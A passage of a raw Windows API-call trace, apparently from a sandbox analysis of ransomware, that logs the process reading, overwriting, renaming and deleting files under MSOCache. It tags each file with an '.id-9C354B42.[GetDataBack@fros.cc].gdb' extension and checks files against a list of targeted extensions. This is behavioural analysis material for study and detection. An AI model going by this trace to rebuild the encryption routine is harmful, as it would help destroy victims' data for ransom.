users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0122.495] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fb14 | out: lpNewFilePointer=0x0) returned 1 [0122.495] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0122.495] ReadFile (in: hFile=0x208, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0122.499] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0122.499] ReadFile (in: hFile=0x208, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0122.502] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x307fb14 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.502] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0122.502] ReadFile (in: hFile=0x208, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0122.519] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0122.519] WriteFile (in: hFile=0x208, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x307fb58, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb58*=0xc00fe, lpOverlapped=0x0) returned 1 [0122.713] SetEndOfFile (hFile=0x208) returned 1 [0122.728] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0122.728] WriteFile (in: hFile=0x208, lpBuffer=0x3825b40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x3825b40*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0122.729] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0122.729] WriteFile (in: hFile=0x208, lpBuffer=0x3825b40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x3825b40*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0122.730] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0122.730] WriteFile (in: hFile=0x208, lpBuffer=0x3825b40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x3825b40*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0122.731] CloseHandle (hObject=0x208) returned 1 [0125.419] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0125.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0125.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0125.419] lstrlenW (lpString=".doc") returned 4 [0125.419] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0125.419] lstrlenW (lpString=".docx") returned 5 [0125.419] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0125.419] lstrlenW (lpString=".pdf") returned 4 [0125.419] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0125.419] lstrlenW (lpString=".xls") returned 4 [0125.419] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0125.419] lstrlenW (lpString=".xlsx") returned 5 [0125.419] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0125.419] lstrlenW (lpString=".ppt") returned 4 [0125.419] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0125.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0125.420] lstrlenW (lpString=".zip") returned 4 [0125.420] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0125.420] lstrlenW (lpString=".rar") returned 4 [0125.420] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0125.420] lstrlenW (lpString=".bz2") returned 4 [0125.420] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0125.420] lstrlenW (lpString=".7z") returned 3 [0125.420] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0125.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0125.420] lstrlenW (lpString=".dbf") returned 4 [0125.420] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0125.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0125.420] lstrlenW (lpString=".1cd") returned 4 [0125.420] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0125.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0125.420] lstrlenW (lpString=".jpg") returned 4 [0125.420] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0125.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0125.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0125.420] lstrlenW (lpString=".doc") returned 4 [0125.420] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0125.420] lstrlenW (lpString=".docx") returned 5 [0125.420] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0125.420] lstrlenW (lpString=".pdf") returned 4 [0125.420] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0125.420] lstrlenW (lpString=".xls") returned 4 [0125.420] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0125.420] lstrlenW (lpString=".xlsx") returned 5 [0125.420] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0125.420] lstrlenW (lpString=".ppt") returned 4 [0125.420] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0125.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0125.421] lstrlenW (lpString=".zip") returned 4 [0125.421] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0125.421] lstrlenW (lpString=".rar") returned 4 [0125.421] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0125.421] lstrlenW (lpString=".bz2") returned 4 [0125.421] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0125.421] lstrlenW (lpString=".7z") returned 3 [0125.421] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0125.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0125.421] lstrlenW (lpString=".dbf") returned 4 [0125.421] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0125.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0125.421] lstrlenW (lpString=".1cd") returned 4 [0125.421] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0125.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0125.421] lstrlenW (lpString=".jpg") returned 4 [0125.421] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0125.421] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0125.421] lstrlenW (lpString="ProjLR.cab") returned 10 [0125.421] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0125.709] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=8265165) returned 1 [0125.709] CloseHandle (hObject=0x204) returned 1 [0125.709] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020 [0125.709] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.709] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0125.710] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0125.710] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fb14 | out: lpNewFilePointer=0x0) returned 1 [0125.710] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0125.710] ReadFile (in: hFile=0x204, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0125.715] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0125.715] ReadFile (in: hFile=0x204, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0125.719] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x307fb14 | out: lpNewFilePointer=0xffffffff) returned 1 [0125.719] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0125.719] ReadFile (in: hFile=0x204, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0125.737] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0125.737] WriteFile (in: hFile=0x204, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x307fb58, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb58*=0xc0100, lpOverlapped=0x0) returned 1 [0125.837] SetEndOfFile (hFile=0x204) returned 1 [0125.839] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0125.839] WriteFile (in: hFile=0x204, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0125.841] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0125.841] WriteFile (in: hFile=0x204, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0125.842] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0125.842] WriteFile (in: hFile=0x204, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0125.844] CloseHandle (hObject=0x204) returned 1 [0125.845] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0125.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0125.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0125.845] lstrlenW (lpString=".doc") returned 4 [0125.845] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0125.845] lstrlenW (lpString=".docx") returned 5 [0125.845] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0125.845] lstrlenW (lpString=".pdf") returned 4 [0125.845] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0125.845] lstrlenW (lpString=".xls") returned 4 [0125.845] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0125.845] lstrlenW (lpString=".xlsx") returned 5 [0125.845] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0125.845] lstrlenW (lpString=".ppt") returned 4 [0125.845] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0125.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0125.845] lstrlenW (lpString=".zip") returned 4 [0125.845] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0125.845] lstrlenW (lpString=".rar") returned 4 [0125.845] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0125.845] lstrlenW (lpString=".bz2") returned 4 [0125.845] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0125.845] lstrlenW (lpString=".7z") returned 3 [0125.845] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0125.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0125.845] lstrlenW (lpString=".dbf") returned 4 [0125.845] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0125.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0125.845] lstrlenW (lpString=".1cd") returned 4 [0125.845] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0125.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0125.845] lstrlenW (lpString=".jpg") returned 4 [0125.845] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0125.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0125.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0125.846] lstrlenW (lpString=".doc") returned 4 [0125.846] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0125.846] lstrlenW (lpString=".docx") returned 5 [0125.846] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0125.846] lstrlenW (lpString=".pdf") returned 4 [0125.846] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0125.846] lstrlenW (lpString=".xls") returned 4 [0125.846] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0125.846] lstrlenW (lpString=".xlsx") returned 5 [0125.846] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0125.846] lstrlenW (lpString=".ppt") returned 4 [0125.846] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0125.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0125.846] lstrlenW (lpString=".zip") returned 4 [0125.846] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0125.846] lstrlenW (lpString=".rar") returned 4 [0125.846] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0125.846] lstrlenW (lpString=".bz2") returned 4 [0125.846] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0125.846] lstrlenW (lpString=".7z") returned 3 [0125.846] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0125.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0125.846] lstrlenW (lpString=".dbf") returned 4 [0125.846] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0125.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0125.846] lstrlenW (lpString=".1cd") returned 4 [0125.846] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0125.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0125.846] lstrlenW (lpString=".jpg") returned 4 [0125.846] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0125.846] lstrcmpiW (lpString1=".dll", lpString2=".gdb") returned -1 [0125.846] lstrlenW (lpString="dwintl20.dll") returned 12 [0125.846] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0125.847] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=107912) returned 1 [0125.847] CloseHandle (hObject=0x204) returned 1 [0125.847] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 0x2020 [0125.847] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.847] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0125.847] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0125.847] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0125.847] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0125.923] GetLastError () returned 0x0 [0125.923] ReadFile (in: hFile=0x204, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x1a588, lpOverlapped=0x0) returned 1 [0126.024] WriteFile (in: hFile=0x214, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0x1a590, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0x1a590, lpOverlapped=0x0) returned 1 [0126.026] ReadFile (in: hFile=0x204, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x0, lpOverlapped=0x0) returned 1 [0126.026] WriteFile (in: hFile=0x214, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xec, lpOverlapped=0x0) returned 1 [0126.026] SetEndOfFile (hFile=0x214) returned 1 [0126.026] CloseHandle (hObject=0x214) returned 1 [0126.026] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0126.026] SetEndOfFile (hFile=0x204) returned 1 [0126.027] CloseHandle (hObject=0x204) returned 1 [0126.027] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0126.028] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 1 [0126.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0126.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0126.028] lstrlenW (lpString=".doc") returned 4 [0126.028] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0126.028] lstrlenW (lpString=".docx") returned 5 [0126.028] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0126.028] lstrlenW (lpString=".pdf") returned 4 [0126.028] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0126.028] lstrlenW (lpString=".xls") returned 4 [0126.028] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0126.028] lstrlenW (lpString=".xlsx") returned 5 [0126.028] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0126.028] lstrlenW (lpString=".ppt") returned 4 [0126.028] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0126.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0126.028] lstrlenW (lpString=".zip") returned 4 [0126.028] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0126.028] lstrlenW (lpString=".rar") returned 4 [0126.028] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0126.028] lstrlenW (lpString=".bz2") returned 4 [0126.028] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0126.028] lstrlenW (lpString=".7z") returned 3 [0126.028] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0126.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0126.028] lstrlenW (lpString=".dbf") returned 4 [0126.028] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0126.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0126.028] lstrlenW (lpString=".1cd") returned 4 [0126.029] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0126.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0126.029] lstrlenW (lpString=".jpg") returned 4 [0126.029] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0126.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0126.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0126.029] lstrlenW (lpString=".doc") returned 4 [0126.029] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0126.029] lstrlenW (lpString=".docx") returned 5 [0126.029] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0126.029] lstrlenW (lpString=".pdf") returned 4 [0126.029] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0126.029] 